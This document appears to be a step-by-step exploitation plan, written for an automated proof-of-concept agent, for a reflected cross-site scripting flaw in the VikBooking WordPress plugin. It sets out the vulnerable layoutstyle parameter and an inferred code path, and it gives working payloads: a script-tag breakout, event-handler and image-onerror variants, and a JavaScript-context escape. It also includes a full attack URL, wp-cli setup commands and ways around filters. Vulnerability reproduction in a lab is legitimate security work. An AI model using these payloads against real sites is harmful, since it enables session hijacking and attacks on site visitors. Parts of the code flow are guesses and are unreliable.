Exploitation Research Plan: CVE-2026-12754 (VikBooking XSS)

1. Vulnerability Summary

The VikBooking Hotel Booking Engine & PMS plugin (versions <= 1.8.12) contains a reflected cross-site scripting (XSS) vulnerability via the layoutstyle parameter. The vulnerability exists because the plugin fails to sanitize or escape this parameter when it is used within the context of the roomslist view. This view is typically triggered by the [vikbooking view="roomslist"] shortcode. An unauthenticated attacker can inject arbitrary JavaScript by tricking a user into clicking a crafted URL targeting a page containing this shortcode.

2. Attack Vector Analysis

• Endpoint: Any WordPress page/post containing the [vikbooking view="roomslist"] shortcode.
• Vulnerable Parameter: layoutstyle (GET parameter).
• Authentication: Unauthenticated (No login required).
• Preconditions: A public-facing page must exist that renders the roomslist view via the plugin's shortcode.
• Payload Type: Reflected XSS.

3. Code Flow (Inferred from Patch and Patterns)

Based on the vulnerability description and common patterns in the VikBooking plugin (which uses a Joomla-derived MVC architecture):

1. Entry Point: A user visits a URL like example.com/booking-page/?view=roomslist&layoutstyle=PAYLOAD.
2. Shortcode Processing: WordPress parses [vikbooking view="roomslist"]. The plugin's shortcode handler initializes the frontend controller.
3. Request Handling: The controller (similar in logic to the provided admin/controller.php) retrieves the request variables using VikRequest::getVar('layoutstyle', ...) or directly from $_GET.
4. View Rendering: The controller passes execution to the roomslist view class.
5. Sink: Within the roomslist layout template, the layoutstyle value is echoed into the HTML (likely as a CSS class name for a wrapper div or within an input field) without being passed through esc_attr() or esc_html().

4. Nonce Acquisition Strategy

Reflected XSS in a GET-based view usually does not require a nonce in WordPress, as it is a read operation designed for public consumption. However, if the plugin's frontend controller implements a global check:

1. Target Page: Navigate to the page created in the "Test Data Setup".
2. JS Variable Check: VikBooking often localizes data. Use the following to check for nonces if the exploit fails:
   • browser_eval("window.vbo_ajax?.nonce")
   • browser_eval("window.VikBooking?.nonce")
3. Bypass: Since the description identifies this as reflected XSS via a URL parameter, it is highly likely that no nonce is required for the rendering phase.

5. Exploitation Strategy

The exploit involves crafting a URL that breaks out of an HTML attribute or tag context.

Step 1: Discover/Create the Target Page

Identify or create a page with the specific shortcode required to trigger the vulnerable code path.

Step 2: Craft the Payload

Since layoutstyle is likely reflected in a class attribute or a similar container:

• Simple Alert: "><script>alert(window.origin)</script>
• Attribute Breakout: ' onmouseover='alert(1) (if reflected inside a single-quoted attribute)

Step 3: Execute via Browser

Use the browser_navigate tool to simulate a victim clicking the link.

// Example URL for the PoC Agent
const targetUrl = "http://localhost:8080/rooms/?view=roomslist&layoutstyle=\"><script>confirm(document.domain)</script>";

6. Test Data Setup

Before testing, the environment must be prepared:

1. Install Plugin: Ensure VikBooking <= 1.8.12 is active.
2. Create Rooms: The roomslist view may require at least one room to render the layout.
   • Use wp eval or the plugin admin to ensure a room exists in the _vikbooking_rooms table.
3. Create the Page:

   wp post create --post_type=page --post_title="Rooms List" --post_status=publish --post_content='[vikbooking view="roomslist"]'
   

4. Verify Page URL: Identify the permalink of the new page (e.g., /rooms-list/).

7. Expected Results

• When the crafted URL is loaded, the browser should execute the injected <script>.
• If using confirm(document.domain), the automation agent should detect a dialog or the presence of the script tag in the rendered DOM.
• The HTML source of the rendered page should contain the unescaped payload:

  <div class="vbo-rooms-list-wrapper "><script>confirm(document.domain)</script>">
  

8. Verification Steps

After the browser-based exploit, verify the vulnerability using wp-cli:

1. Check if the page renders the payload in the response body (simulated):

   # This is a conceptual check; the agent should use browser tools
   curl -s "http://localhost:8080/rooms-list/?layoutstyle=VULN_CHECK_CANARY" | grep "VULN_CHECK_CANARY"
   

2. Confirm the version is vulnerable:

   wp plugin get vikbooking --field=version
   

9. Alternative Approaches

If the payload "><script>... is blocked by a basic WAF or browser XSS auditor:

1. Event Handler Payload: layoutstyle=generic-style" onmouseover="alert(1) (Requires user interaction like hovering).
2. Image Tag Sink: layoutstyle="><img src=x onerror=alert(1)> (Self-executing).
3. Context Check: If the reflection is inside a <script> block (e.g., as a JS variable), use:
   • layoutstyle=';alert(1);//
4. View Parameter: If the view parameter is also required in the URL to reach the sink, ensure the URL contains both view=roomslist and layoutstyle=....